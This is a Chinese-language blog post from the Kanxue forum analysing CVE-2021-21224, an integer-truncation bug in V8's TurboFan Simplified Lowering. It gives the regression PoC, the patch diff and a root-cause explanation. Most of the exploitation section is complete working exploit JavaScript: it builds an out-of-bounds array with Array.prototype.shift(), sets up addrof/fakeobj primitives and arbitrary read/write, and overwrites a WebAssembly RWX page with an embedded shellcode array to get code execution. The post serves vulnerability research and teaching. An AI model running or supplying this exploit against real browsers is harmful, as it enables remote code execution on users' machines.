查看原文
其他

CVE-2021-21224分析笔记

0x2l 看雪学苑 2022-07-01
本文为看雪论坛精华文章
看雪论坛作者ID:0x2l

漏洞,此漏洞发生于Simplified Lowering阶段的RepresentationChanger::GetWord32RepresentationFor函数中,是一个平平无奇的整数溢出。但是和CVE-2020-15965、CVE-2020-16040、CVE-2021-21220相似的是,此漏洞同样可以通过Array.prototype.shift()方法来构造一个长度为-1(0xFFFF_FFFF)的数组,凭借这个强大的越界数组我们可以很轻松的实现RCE。


1


环境搭建




根据commit来回退版本:
git reset --hard 720176a523544721973a8ceba89e9c7af9405963gclient sync -Dpython tools\dev\v8gen.py x64.debugpython tools\dev\gm.py x64.debug d8python tools\dev\v8gen.py x64.releasepython tools\dev\gm.py x64.release d8


2


漏洞分析


1、poc分析

回归测试里面给出的poc有点长,我稍微精简了一下,不过效果是一样的:

function foo(b) {let x = -1;if (b) x = 0xFFFF_FFFF;
return -1 < Math.max(0, x);}
console.log(foo(true));%PrepareFunctionForOptimization(foo);console.log(foo(false));%OptimizeFunctionOnNextCall(foo);%SystemBreak();console.log(foo(true));

运行结果:

(1)当参数为true的时候,x的值为0xFFFF_FFFF,Math.max(0, 0xFFFF_FFFF)的返回值是0xFFFF_FFFF,那么返回值-1 < 0xFFFF_FFFF是成立的。

(2)当参数为false的时候,x的值为-1,Math.max(0, -1)的返回值为0,自然-1 < 0也是成立的。

(3)优化后的foo函数居然返回一个false,未曾设想的道路出现了,接下来先在调试器里面跟进一下。Math.max函数看起来有问题,简单跟进了一下这三次调用:

  • 第一次调用MathMax函数:


  • 第二次调用MathMax函数:



  • 优化之后就没有调用MathMax函数了,而是直接进行比较:



这里的返回值也是正确的,保存后的结果被保存在rdx寄存器之中,但注意下图中箭头指向的内容。


比较的时候使用的是rdx寄存器,返回值也在其中,之后却取edx寄存器的值来进行比较,即原本的64位无符号返回值0x00000000FFFFFFFF被当做是一个32位有符号数值0xFFFF_FFFF来使用,0xFFFF_FFFF会被当作是-1,最终的运算是明显不正确的-1 < -1,返回值自然是false。


2


源码分析


diff --git a/src/compiler/representation-change.cc b/src/compiler/representation-change.ccindex 64b274c..3d937ad 100644--- a/src/compiler/representation-change.cc+++ b/src/compiler/representation-change.cc@@ -949,10 +949,10 @@return node;} else if (output_rep == MachineRepresentation::kWord64) {if (output_type.Is(Type::Signed32()) ||- output_type.Is(Type::Unsigned32())) {- op = machine()->TruncateInt64ToInt32();- } else if (output_type.Is(cache_->kSafeInteger) &&- use_info.truncation().IsUsedAsWord32()) {+ (output_type.Is(Type::Unsigned32()) &&+ use_info.type_check() == TypeCheckKind::kNone) ||+ (output_type.Is(cache_->kSafeInteger) &&+ use_info.truncation().IsUsedAsWord32())) {op = machine()->TruncateInt64ToInt32();} else if (use_info.type_check() == TypeCheckKind::kSignedSmall ||use_info.type_check() == TypeCheckKind::kSigned32 ||

Patch位于RepresentationChanger::GetWord32RepresentationFor函数,该函数根据输入结点的Representation和feedback_type来选择合适的方法将输入结点的输出截断为MachineRepresentation::kWord32。

Patch的内容比较简单,当(output_rep == MachineRepresentation::kWord64)和output_type.Is(Type::Unsigned32()二者都成立的时候,增加了一项校验use_info.type_check() == TypeCheckKind::kNone.

只有当三者全部成立的时候才会更新op的值,从而在当前结点和输入结点之间插入TruncateInt64ToInt32结点来将输入结点的输出截断为MachineRepresentation::kWord32。

output_rep为输入结点的Representation,output_type为输入结点的feedback_type,use_info则为当前结点后继节点的使用信息,use_info.type_check()表示后继节点的数值类型,为TypeCheckKind::kNone则为无符号,为TypeCheckKind::kSignedSmall则为有符号。

在这里下断点看一下:


根据堆栈信息可知漏洞发生于Simplified lowering的LOWER阶段,此阶段将结点降级或者插入转换结点,加上--trace-representation参数在相同的地方断下来。
visit #41: SpeculativeNumberLessThanchange: #41:SpeculativeNumberLessThan(@0 #14:NumberConstant) from kRepTaggedSigned to kRepWord32:no-truncation (but identify zeros)change: #41:SpeculativeNumberLessThan(@1 #56:Select) from kRepWord64 to kRepWord32:no-truncation (but identify zeros)

此时正在处理#41结点的输入结点#56,根据我们对源码的分析,这两个结点之间会插入一个TruncateInt64ToInt32结点,看一下Simplified lowering阶段的IR图:


因为#72结点的存在,Math.max函数的返回值会被截断为32位;又因为后继结点的类型为有符号数TypeCheckKind::kSignedSmall,所以如果截断后的返回值正好使用了符号位(诸如0xFFFF_FFFF转换为二进制为1111 1111 1111 1111 1111 1111 1111 1111,最高位为1),那么就会发生整数下溢(诸如Math.max(0, 0xFFFF_FFFF)返回值为-1)。


3


漏洞利用


1、从整数溢出到越界读写


zer0con2021上讲解了Array.prototype.shift()相关的Trick,可以通过整数溢出来构造一个长度为-1(0xFFFF_FFFF)的数组。但是我们必须满足两个条件:
len != 0 && len <= 100len : Range(-a, 0)

先看一下我们的原始poc:

此时的返回值为-1,Range为(0, 4294967295)。将poc稍稍修改一下:
function foo(flag) {let x = -1;if (flag) x = 0xFFFF_FFFF;let z = 0 - Math.max(0, x);
return z;}
console.log(foo(true));%PrepareFunctionForOptimization(foo);console.log(foo(false));%OptimizeFunctionOnNextCall(foo);//%SystemBreak();console.log(foo(true));

此时的Range如下:
返回值也已经变成了1,现在已经符合Array.prototype.shift() Trick的利用条件了,我们编写如下的poc:
function foo(flag) {let x = -1;if (flag) x = 0xFFFF_FFFF;let len = 0 - Math.max(0, x);
let vuln_array = new Array(len);vuln_array.shift();%DebugPrint(vuln_array);%SystemBreak();return vuln_array;}
%PrepareFunctionForOptimization(foo);console.log("[+] run as builtin: " + "vuln_array.length == " + foo(false).length);%OptimizeFunctionOnNextCall(foo);console.log("[+] run as builtin: " + "vuln_array.length == " + foo(true).length);

可以看到数组长度被修改成了-1(0xFFFFFFFE):


现在我们已经可以修改点什么东西了,在vuln_array后面再放置一个Double数组,接着修改他的length:
function hex(a) {return a.toString(16);}
function foo(flag) {let x = -1;if (flag) x = 0xFFFF_FFFF;let len = 0 - Math.max(0, x);
let vuln_array = new Array(len);vuln_array.shift();let oob_array = [1.1, 1.2, 1.3];//if (flag) %SystemBreak();return [vuln_array, oob_array];}
function confusion_to_oob() {console.log("[+] convert confusion to oob......");// 触发JITfor (let i=0; i<0xc00c; i++) {foo(false);} //[vuln_array, oob_array] = foo(true);vuln_array[16] = 0xc00c;
console.log(" oob_array.length: " + hex(oob_array.length));}
confusion_to_oob();

2、addrof/fakeobj


回忆一下oob_array和vuln_array的内存布局:


之前我们通过vuln_array[16]修改了oob_array的长度,除此之外,我们还可以通过oob_array和vuln_array来构造出addrof和fakeobj原语。首先构造addrof:
function addrof(obj) {vuln_array[7] = obj;
return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;}

vuln_array[7]指向的地方正好是oob_array[0]的低四字节,我们将obj写入其中。之后通过oob_array[0]将八字节长度的值读出来,高四字节全部置零之后就是obj的值了。接着是fakeobj:
function fakeobj(addr) {oob_array[0] = helper.i2f(addr);
return vuln_array[7];}

和addrof的原理是一样的,最终将oob_array[0]中的值当作一个对象指针返回。

3、任意地址读写


我们现在有了OOB、addrof、fakeobj三个原语,足够实现更加强大的任意地址读写了。
function get_arw() {console.log("[+] get absolute read/write access......");
let oob_array_map_and_properties = helper.f2i(oob_array[3]);let point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];fake = fakeobj(addrof(point_array) - 0x20n);%DebugPrint(point_array);%SystemBreak();}

oob_array[3]保存的是oob_array本身的map和properties,利用他们俩我们可以构造一个elements和length都完全由我们控制的数组,诸如point_array的内存布局:


point_array[0]中就是我们复制来的map和properties,如果用fakeobj原语把point_array[0]当作是一个对象来返回,那么point_array[1]中的值就是elements和length。

既然我们可以任意的改写point_array[1],也就意味着我们可以将任意length长度的数据写到elements指向的地方,具体实现如下:
function arb_read(addr) {if (addr %2n == 0) {addr += 1n;}// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;// -8n是因为elements字段指向的内容会自动+8来跳过map和lengthpoint_array[1] = helper.i2f((2n << 32n) + addr -8n);return fake[0];}
function arb_write(addr, val) {if (addr %2n == 0) {addr += 1n;}// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;// -8n是因为elements字段指向的内容会自动+8来跳过map和lengthpoint_array[1] = helper.i2f((2n << 32n) + addr -8n);fake[0] = helper.i2f(BigInt(val));}

完整代码如下,我们随便写一个地址测试一下原语是否可用:
// 用来实现类型转换class Helpers {constructor() {this.buf =new ArrayBuffer(16);this.uint32 = new Uint32Array(this.buf);this.float64 = new Float64Array(this.buf);this.big_uint64 = new BigUint64Array(this.buf);}
// float-->uintf2i(f){this.float64[0] = f;return this.big_uint64[0];}// uint-->floati2f(i){this.big_uint64[0] = i;return this.float64[0];}// 64-->32f2half(val){this.float64[0]= val;let tmp = Array.from(this.uint32);return tmp;}// 32-->64half2f(val){this.uint32.set(val);return this.float64[0];}
hex(a) {return "0x" + a.toString(16);}
gc() { for(let i = 0; i < 100; i++) { new ArrayBuffer(0x1000000); } }}
function foo(flag) {// 触发漏洞,使得len==1且Range为(-4294967295, 0)let x = -1;if (flag) x = 0xFFFF_FFFF;let len = 0 - Math.max(0, x);// 利用array.shift()来构造出长度为-1(0xFFFFFFFE)的数组let vuln_array = new Array(len);vuln_array.shift();
let oob_array = [1.1, 1.2, 1.3];
if (flag) {%DebugPrint(oob_array);//%SystemBreak();}return [vuln_array, oob_array];}
function confusion_to_oob() {console.log("[+] convert confusion to oob......");// 触发JITfor (let i=0; i<0x10000; i++) {foo(false);} // gchelper.gc();// 修改oob_array的length[vuln_array, oob_array] = foo(true);vuln_array[16] = 0xc00c;
console.log(" oob_array.length: " + helper.hex(oob_array.length));}
function addrof(obj) {vuln_array[7] = obj;
return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;}
function fakeobj(addr) {oob_array[0] = helper.i2f(addr);
return vuln_array[7];}
function get_arw() {console.log("[+] get absolute read/write access......");
let oob_array_map_and_properties = helper.f2i(oob_array[3]);point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];fake = fakeobj(addrof(point_array) - 0x20n);}
function arb_read(addr) {if (addr %2n == 0) {addr += 1n;}// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;// -8n是因为elements字段指向的内容会自动+8来跳过map和lengthpoint_array[1] = helper.i2f((2n << 32n) + addr -8n);return fake[0];}
function arb_write(addr, val) {if (addr %2n == 0) {addr += 1n;}// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;// -8n是因为elements字段指向的内容会自动+8来跳过map和lengthpoint_array[1] = helper.i2f((2n << 32n) + addr -8n);fake[0] = helper.i2f(BigInt(val));}
function exp() {helper = new Helpers();
confusion_to_oob();get_arw();
arb_write(addrof(oob_array), 0xFFFFFFFFFFFFFFFn);%SystemBreak();}
exp();

在windbg里面看一下,发现目标地址的值已经被成功修改了。


4、任意代码执行


这一步还是常规的WASM实现任意代码执行:

(1)创建一个wasm函数对象,wasm本身只能进行诸如数学运算这样的操作,所以随便创建一个就行。

(2)通过地址泄露原语找到wasm自带的RWX属性页及wasm函数最终会调用的汇编代码(wasmInstance.exports.main -> shared_info -> data -> instance+XX)。

(3)通过任意地址读写原语修改wasm所在内存页,换上我们准备好的shellcode。

(4)调用wasm函数接口,执行shellcode。


具体实现如下:

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])var wasm_mod = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_mod);var wasm_function = wasm_instance.exports.main;var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
let arb_write_buffer = new ArrayBuffer(0x300);
// 用来实现类型转换class Helpers {constructor() {this.buf =new ArrayBuffer(16);this.uint32 = new Uint32Array(this.buf);this.float64 = new Float64Array(this.buf);this.big_uint64 = new BigUint64Array(this.buf);}
// float-->uintf2i(f){this.float64[0] = f;return this.big_uint64[0];}// uint-->floati2f(i){this.big_uint64[0] = i;return this.float64[0];}// 64-->32f2half(val){this.float64[0]= val;let tmp = Array.from(this.uint32);return tmp;}// 32-->64half2f(val){this.uint32.set(val);return this.float64[0];}
hex(a) {return "0x" + a.toString(16);}
gc() { for(let i = 0; i < 100; i++) { new ArrayBuffer(0x1000000); } }}
function foo(flag) {// 触发漏洞,使得len==1且Range为(-4294967295, 0)let x = -1;if (flag) x = 0xFFFF_FFFF;let len = 0 - Math.max(0, x);// 利用array.shift()来构造出长度为-1(0xFFFFFFFE)的数组let vuln_array = new Array(len);vuln_array.shift();
let oob_array = [1.1, 1.2, 1.3];
if (flag) {//%DebugPrint(oob_array);//%SystemBreak();}return [vuln_array, oob_array];}
function confusion_to_oob() {console.log("[+] convert confusion to oob......");// 触发JITfor (let i=0; i<0x10000; i++) {foo(false);} // gchelper.gc();// 修改oob_array的length[vuln_array, oob_array] = foo(true);vuln_array[16] = 0xc00c;
console.log(" oob_array.length: " + helper.hex(oob_array.length));}
function addrof(obj) {vuln_array[7] = obj;
return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;}
function fakeobj(addr) {oob_array[0] = helper.i2f(addr);
return vuln_array[7];}
function get_arw() {console.log("[+] get absolute read/write access......");
let oob_array_map_and_properties = helper.f2i(oob_array[3]);point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];fake = fakeobj(addrof(point_array) - 0x20n);}
function arb_read(addr) {if (addr %2n == 0) {addr += 1n;}// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;// -8n是因为elements字段指向的内容会自动+8来跳过map和lengthpoint_array[1] = helper.i2f((2n << 32n) + addr -8n);return fake[0];}
function arb_write(addr, val) {if (addr %2n == 0) {addr += 1n;}// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;// -8n是因为elements字段指向的内容会自动+8来跳过map和lengthpoint_array[1] = helper.i2f((2n << 32n) + addr -8n);fake[0] = helper.i2f(BigInt(val));}
function get_wasm_rwx() {console.log("[+] get address of rwx page......");rwx_page_addr = helper.f2i(arb_read(addrof(wasm_instance) + 0x68n));//%DebugPrint(wasm_instance);//%DebugPrint(wasm_function);console.log(" Address of rwx page: " + helper.hex(rwx_page_addr));//%SystemBreak();}
function run_shellcode(addr, shellcode) {console.log("[+] run shellcode......");let dataview = new DataView(arb_write_buffer);let buf_addr = addrof(arb_write_buffer);let backing_store_addr = buf_addr + 0x14n;arb_write(backing_store_addr, addr);for (let i = 0; i < shellcode.length; i++) {dataview.setUint32(4*i, shellcode[i], true);}console.log("[+] success!!!");}
function exp() {helper = new Helpers();
confusion_to_oob();get_arw();get_wasm_rwx();run_shellcode(rwx_page_addr, shellcode);wasm_function();}
exp();

结果演示如下:


参考文章:

  • 博客:https://www.0x2l.cn/

  • Modern attacks on the Chrome browser : optimizations and deoptimizations (doar-e.github.io)

  • Slides/chrome_exploitation-zer0con2021.pdf at main · singularseclab/Slides (github.com)

  • chrome exploitation解读:CVE-2020-16040漏洞分析与利用




 


看雪ID:0x2l

https://bbs.pediy.com/user-home-862439.htm

*本文由看雪论坛 0x2l 原创,转载请注明来自看雪社区





# 往期推荐

1. 浅见:将JS代码注入到第三方CEF应用程序

2. 基于Mono注入保存Draw & Guess历史房间数据

3. 一个方案:家用路由器D-LINK DIR-81漏洞挖掘实例分析

4. 记一次MEMZ样本分析

5. GlobeImposter家族的病毒样本分析

6. CVE-2010-2553 堆溢出漏洞分析



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存